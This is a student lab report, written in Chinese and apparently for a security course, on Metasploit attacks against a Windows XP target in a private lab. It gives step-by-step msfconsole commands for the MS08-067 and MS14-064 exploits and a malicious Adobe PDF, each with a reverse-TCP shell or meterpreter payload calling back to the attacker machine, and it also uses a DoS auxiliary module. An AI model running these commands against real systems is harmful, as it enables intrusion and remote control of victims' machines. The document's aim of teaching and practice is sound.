一、预备知识
(1)MS08-067
- 漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。 - 攻击原理
MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。 - 源码分析
MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
(2)MS14-064
- 漏洞描述
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。 - 漏洞原理
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本...
(3)Adobe
- 漏洞原理
通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。
(4)MS03_026
- 漏洞描述
此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。 - 漏洞原理
微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
二、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,如ms08_067;
- 一个针对浏览器的攻击,如ms11_050;
- 一个针对客户端的攻击,如Adobe;
- 成功应用任何一个辅助模块。
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
三、实践步骤
任务一:一个主动攻击实践MS08-067
攻击机:kali 192.168.80.128
靶机:Windows xp 192.168.80.136
1.攻击机使用nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.80.134
探测靶机是否存在该漏洞
2.启动msf控制台msfconsole,search ms08-067
查看漏洞的渗透模块
3.use exploit/windows/smb/ms08_067_netapi
进入该模块
show payloads
显示有效的攻击载荷
4.set payload generic/shell_reverse_tcp
设置攻击的载荷
show options
可以查看到进行攻击需要设置的参数,Required 的列表下标记为yes 的为必须设置的项
5.设置攻击机IP和靶机IP
set LHOST 192.168.80.128 //攻击机IP
set RHOSTS 192.168.80.136//靶机IP
任务二 一个针对浏览器的攻击MS14-064
靶机:Microsoft Windows XP(192.168.80.136)
攻击机:kali(192.168.80.128)
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.80.128 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.80.128
set LPORT 5230
set target 0 //设置winXP靶机
exploit
任务三:一个针对客户端的攻击Adobe
靶机:Microsoft Windows XP(192.168.80.136)
攻击机:kali(192.168.80.128)
msfconsole
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.128 //攻击机 IP
set LPORT 5230
set FILENAME 20175230tx.pdf //设置生成的pdf文件名
exploit //发起攻击
- 生成20175230tx.pdf,进入保存目录cd /home/tx20175230/.msf4/local,输入cp 20175230tx.pdf /home/tx20175239/Desktop将生成的20175230tx.pdf复制到桌面,然后在拖到主机WIN10上,再从WIN10拖到靶机WIN XP上。
- 控制台中输入back退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.128 //攻击机 IP
set LPORT 5230
exploit
- 在xp中打开pdf文件,然后即可得到回联,我们可以看到靶机中有攻击机的地址
任务四 成功应用任何一个辅助模块(唯一)
- 查看可以运用的辅助模式
- 选用dos/dns
四、实验中遇到的问题
- 1.在使用漏洞进行主动攻击时,出现如下错误
- 问题一解决方法:换靶机,使用英文版的xp
五、问题回答
- (1)用自己的话解释什么是exploit,payload,encode
exploit:即渗透攻击,通过目标机存在的漏洞进行攻击,如果不存在此漏洞既不能进行攻击;
payload:可以理解为进行攻击时的代码,也就是进行攻击时的传导物体;
encode:payload中的代码进行变形,以达到增加容错率或者免杀的编码 - (2)离实战还缺些什么技术或步骤?
此次实践时,使用的靶机是好多年前的系统,但是在正常学习中,我们通常会更新到最新版本,因此,在实战中,无法真正进行攻击;另外,我们的攻击方式是普通的方式,在网上就可以查到,无法形成有效攻击。
六、实践体会
本次实践很有意义,每次攻击靶机成功时都忍不住的开心,但想到目前学会的东西只能用来攻击英文版的xp系统时,又觉得……在做本次实践时,过程比较顺利,没有像上一次实践一样历经坎坷。